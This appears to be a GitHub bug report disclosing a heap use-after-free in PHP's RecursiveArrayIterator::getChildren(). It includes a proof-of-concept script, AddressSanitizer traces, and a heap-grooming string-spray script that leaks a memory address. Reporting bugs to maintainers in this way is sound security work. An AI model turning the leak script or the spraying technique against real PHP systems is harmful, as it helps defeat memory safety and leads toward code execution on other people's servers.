Skip to content

Use-After-Free in RecursiveArrayIterator::getChildren() #21499

@Qanux

Description

@Qanux

Description

Summary

A heap use-after-free vulnerability exists in PHP's SPL extension (ext/spl/spl_array.c). When RecursiveArrayIterator::getChildren() creates a child iterator, it stores a raw pointer to the parent's internal HashTable bucket without holding a reference. If the parent object is freed and the child's __construct() method is subsequently called with an array having refcount > 1, it accesses the dangling pointer, resulting in a use-after-free condition that could lead to remote code execution.

Details

The vulnerability was introduced in commit 49b2ff5dbb9 (March 2, 2023) which added the is_child and bucket fields to fix GH-10519.

affected versions

PHP 8.6.0-dev (also affects PHP 8.1.18+, 8.2.5+, 8.3+, 8.4+)

PoC

<?php
// Step 1: Create parent iterator with nested array
$parent = new RecursiveArrayIterator([0 => [1, 2, 3, 4, 5]]);

// Step 2: Get child iterator - stores bucket pointer to parent's HashTable
$child = $parent->getChildren();

// Step 3: Free parent - HashTable is freed, bucket becomes dangling
unset($parent);

// Step 4: Create array with refcount > 1 to trigger vulnerable code path
$arr = [10, 20, 30];
$ref = &$arr;

// Step 5: Trigger UAF - accesses freed bucket->val
$child->__construct($arr);

Execution:

USE_ZEND_ALLOC=0 ./sapi/cli/php poc.php

ASAN Output:

=================================================================
==393723==ERROR: AddressSanitizer: heap-use-after-free on address 0x50d000004e51 at pc 0x602cec0b61d7 bp 0x7fff1aec3e70 sp 0x7fff1aec3e60
READ of size 1 at 0x50d000004e51 thread T0
    #0 0x602cec0b61d6 in spl_array_set_array /home/or4nge/php-src/ext/spl/spl_array.c:977
    #1 0x602cec0b687a in zim_ArrayIterator___construct /home/or4nge/php-src/ext/spl/spl_array.c:1716
    #2 0x602cec7224f6 in ZEND_DO_FCALL_SPEC_RETVAL_UNUSED_HANDLER /home/or4nge/php-src/Zend/zend_vm_execute.h:1988
    #3 0x602cec7224f6 in execute_ex /home/or4nge/php-src/Zend/zend_vm_execute.h:110293
    #4 0x602cec6ec873 in zend_execute /home/or4nge/php-src/Zend/zend_vm_execute.h:115447
    #5 0x602cec840195 in zend_execute_script /home/or4nge/php-src/Zend/zend.c:1980
    #6 0x602cec365c26 in php_execute_script_ex /home/or4nge/php-src/main/main.c:2648
    #7 0x602cec844dcc in do_cli /home/or4nge/php-src/sapi/cli/php_cli.c:949
    #8 0x602ceb8d6792 in main /home/or4nge/php-src/sapi/cli/php_cli.c:1360
    #9 0x7b3a02e29d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #10 0x7b3a02e29e3f in __libc_start_main_impl ../csu/libc-start.c:392
    #11 0x602ceb8d7a04 in _start (/home/or4nge/php-src/sapi/cli/php+0x4d7a04)

0x50d000004e51 is located 17 bytes inside of 136-byte region [0x50d000004e40,0x50d000004ec8)
freed by thread T0 here:
    #0 0x7b3a034b4537 in __interceptor_free ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:127
    #1 0x602cec753e98 in zend_array_destroy /home/or4nge/php-src/Zend/zend_hash.c:1876
    #2 0x602cec7e7f7e in zend_objects_store_del /home/or4nge/php-src/Zend/zend_objects_API.c:196
    #3 0x602cec5cd9f7 in ZEND_UNSET_CV_SPEC_CV_UNUSED_HANDLER /home/or4nge/php-src/Zend/zend_vm_execute.h:49497
    #4 0x602cec6fa515 in execute_ex /home/or4nge/php-src/Zend/zend_vm_execute.h:115045
    #5 0x602cec6ec873 in zend_execute /home/or4nge/php-src/Zend/zend_vm_execute.h:115447
    #6 0x602cec840195 in zend_execute_script /home/or4nge/php-src/Zend/zend.c:1980
    #7 0x602cec365c26 in php_execute_script_ex /home/or4nge/php-src/main/main.c:2648
    #8 0x602cec844dcc in do_cli /home/or4nge/php-src/sapi/cli/php_cli.c:949
    #9 0x602ceb8d6792 in main /home/or4nge/php-src/sapi/cli/php_cli.c:1360
    #10 0x7b3a02e29d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58

previously allocated by thread T0 here:
    #0 0x7b3a034b4887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x602cec4b8d54 in __zend_malloc /home/or4nge/php-src/Zend/zend_alloc.c:3542
    #2 0x602cec75c171 in zend_array_dup /home/or4nge/php-src/Zend/zend_hash.c:2498
    #3 0x602cec0b600b in spl_array_set_array /home/or4nge/php-src/ext/spl/spl_array.c:974
    #4 0x602cec0b687a in zim_ArrayIterator___construct /home/or4nge/php-src/ext/spl/spl_array.c:1716
    #5 0x602cec7224f6 in ZEND_DO_FCALL_SPEC_RETVAL_UNUSED_HANDLER /home/or4nge/php-src/Zend/zend_vm_execute.h:1988
    #6 0x602cec7224f6 in execute_ex /home/or4nge/php-src/Zend/zend_vm_execute.h:110293
    #7 0x602cec6ec873 in zend_execute /home/or4nge/php-src/Zend/zend_vm_execute.h:115447
    #8 0x602cec840195 in zend_execute_script /home/or4nge/php-src/Zend/zend.c:1980
    #9 0x602cec365c26 in php_execute_script_ex /home/or4nge/php-src/main/main.c:2648
    #10 0x602cec844dcc in do_cli /home/or4nge/php-src/sapi/cli/php_cli.c:949
    #11 0x602ceb8d6792 in main /home/or4nge/php-src/sapi/cli/php_cli.c:1360
    #12 0x7b3a02e29d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58

SUMMARY: AddressSanitizer: heap-use-after-free /home/or4nge/php-src/ext/spl/spl_array.c:977 in spl_array_set_array
Shadow bytes around the buggy address:
  0x0a1a7fff8970: 00 00 fa fa fa fa fa fa fa fa 00 00 00 00 00 00
  0x0a1a7fff8980: 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa fa
  0x0a1a7fff8990: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
  0x0a1a7fff89a0: 00 00 00 00 00 fa fa fa fa fa fa fa fa fa 00 00
  0x0a1a7fff89b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fa
=>0x0a1a7fff89c0: fa fa fa fa fa fa fa fa fd fd[fd]fd fd fd fd fd
  0x0a1a7fff89d0: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa
  0x0a1a7fff89e0: fa fa 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0a1a7fff89f0: 00 00 00 fa fa fa fa fa fa fa fa fa 00 00 00 00
  0x0a1a7fff8a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 fa fa fa
  0x0a1a7fff8a10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==393723==ABORTING

Address Leak

poc.php

<?php
ini_set('memory_limit', '-1');

function get_payload($len) {
    return str_repeat("\x00", $len);
}

// Flush memory to force reallocation.
// This is primarily to bypass ASAN quarantine (256MB by default).
// For standard builds, this is harmless but ensures a clean heap state.
function flush_quarantine() {
    $junk = [];
    // 300 chunks of 1MB
    for ($i = 0; $i < 300; $i++) {
        $s = str_repeat("J", 1024 * 1024);
        $s = null; // Free immediately
    }
}

echo "[*] Starting UAF Leak PoC...\n";
echo "[*] PHP Version: " . PHP_VERSION . "\n";

$ATTEMPTS = 5;
// Target sizes:
// 100: Found via fuzzing (Common in system allocator / ASAN builds)
// 231: Standard 256-byte bin for Zend Allocator
// We also include neighbors to handle alignment variations.
$TARGET_LENS = [100, 231, 231-16, 231+16, 103, 111];

$success = false;

for ($attempt = 0; $attempt < $ATTEMPTS; $attempt++) {
    echo "[-] Attempt " . ($attempt + 1) . "...\n";
    
    // 1. Heap Grooming
    $parents = [];
    $children = [];
    
    // Create pairs. 
    // [0 => "pad", 1 => [1]]. 
    // We target index 1.
    for ($i = 0; $i < 20; $i++) {
        $parents[$i] = new RecursiveArrayIterator([0 => "pad", 1 => [1]]);
        $parents[$i]->next();
        $children[$i] = $parents[$i]->getChildren();
    }
    
    // 2. Free Parents
    // This puts chunks into the freelist (or quarantine if ASAN is active).
    foreach ($parents as $i => $p) {
        unset($parents[$i]);
    }
    $parents = null;
    
    // 3. Flush Memory / Quarantine
    // Necessary for ASAN to evict chunks from quarantine.
    // Also helps stabilize heap on standard builds.
    flush_quarantine();
    
    // 4. Spray Strings
    $protector = [];
    foreach ($TARGET_LENS as $len) {
        // Spray enough to catch the slot
        for ($j = 0; $j < 10; $j++) {
             $protector[] = get_payload($len);
        }
    }
    
    // 5. Trigger UAF
    $arr = [1, 2, 3];
    foreach ($children as $c) {
        try {
            $c->__construct($arr);
        } catch (Throwable $e) {}
    }
    
    // 6. Check for Leak
    foreach ($protector as $k => $v) {
        // If string is modified, we won!
        if ($v !== get_payload(strlen($v))) {
            echo "[+] SUCCESS! UAF Triggered.\n";
            echo "[+] String index: $k, Length: " . strlen($v) . "\n";
            
            // Find the modification
            for ($pos = 0; $pos < strlen($v) - 8; $pos += 8) {
                $chunk = substr($v, $pos, 8);
                if ($chunk !== "\x00\x00\x00\x00\x00\x00\x00\x00") {
                    // This is likely the address
                    $addr = unpack("Q", $chunk)[1];
                    printf("[*] Leaked Address at offset %d: 0x%x\n", $pos, $addr);
                    
                    // Check next 8 bytes for type info if available
                    if ($pos + 16 <= strlen($v)) {
                         $type_info = unpack("I", substr($v, $pos + 8, 4))[1];
                         printf("[*] Type Info: 0x%x\n", $type_info);
                    }
                    
                    $success = true;
                    break 2; // Break string loop
                }
            }
            break; // Should break via above, but just in case
        }
    }
    
    if ($success) break;
    
    // Cleanup
    $protector = null;
    $children = null;
    gc_collect_cycles();
}

if (!$success) {
    echo "[-] Failed to leak address.\n";
    exit(1);
}
?>

output

or4nge@localhost:~/mcp/uaf_poc$ ~/php-src/sapi/cli/php ./poc.php
[*] Starting UAF Leak PoC...
[*] PHP Version: 8.6.0-dev
[-] Attempt 1...
[+] SUCCESS! UAF Triggered.
[+] String index: 2, Length: 100
[*] Leaked Address at offset 0: 0x766f38048c40
[*] Type Info: 0x307

Impact

  • Information Disclosure: May read sensitive data from freed/reallocated memory
  • Remote Code Execution: Through heap spraying, an attacker can control the contents of the freed memory region and potentially achieve arbitrary code execution

PHP Version

PHP 8.6.0-dev (cli) (built: Feb  6 2026 12:56:56) (NTS)
Copyright (c) The PHP Group
Zend Engine v4.6.0-dev, Copyright (c) Zend Technologies
    with Zend OPcache v8.6.0-dev, Copyright (c), by Zend Technologies

Operating System

Ubuntu 22.04

Metadata

Metadata

Assignees

Type

No type

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions